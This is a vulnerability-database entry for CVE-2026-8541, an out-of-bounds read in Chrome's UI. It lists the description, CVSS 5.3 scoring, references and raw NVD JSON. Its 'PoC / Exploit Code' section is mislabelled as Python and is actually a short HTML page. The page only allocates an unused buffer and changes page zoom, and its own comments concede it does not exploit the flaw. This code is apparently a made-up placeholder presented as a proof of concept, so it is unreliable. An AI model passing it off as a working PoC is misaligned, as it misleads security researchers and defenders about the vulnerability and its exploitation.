CVE-2026-8541

Description

Out of bounds read in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-8541
  Description: This HTML page attempts to trigger the Out-of-bounds read in Chrome UI.
  Note: Actual exploitation requires a compromised renderer process and specific memory layout.
-->
<html>
<head>
    <title>CVE-2026-8541 PoC</title>
    <style>
        /* Crafted CSS to stress UI rendering */
        body { overflow: hidden; }
        .container { width: 100vw; height: 100vh; transform: translate(10px, 10px); }
    </style>
</head>
<body>
    <div class="container">
        <script>
            // Simulate memory interaction that might trigger the bug
            // In a real scenario, this would involve specific renderer exploitation
            try {
                let buffer = new ArrayBuffer(0x1000);
                let view = new DataView(buffer);
                // Trigger UI refresh with specific layout
                document.body.style.zoom = 1.5;
            } catch (e) {
                console.log("Error triggered: " + e.message);
            }
        </script>
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8541
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8541
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8541/
[4] VulDB https://vuldb.com/cve/CVE-2026-8541
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/496645393

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8541", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:14.970", "lastModified": "2026-05-14T22:16:48.133", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/496645393", "source": "[email protected]"}]}}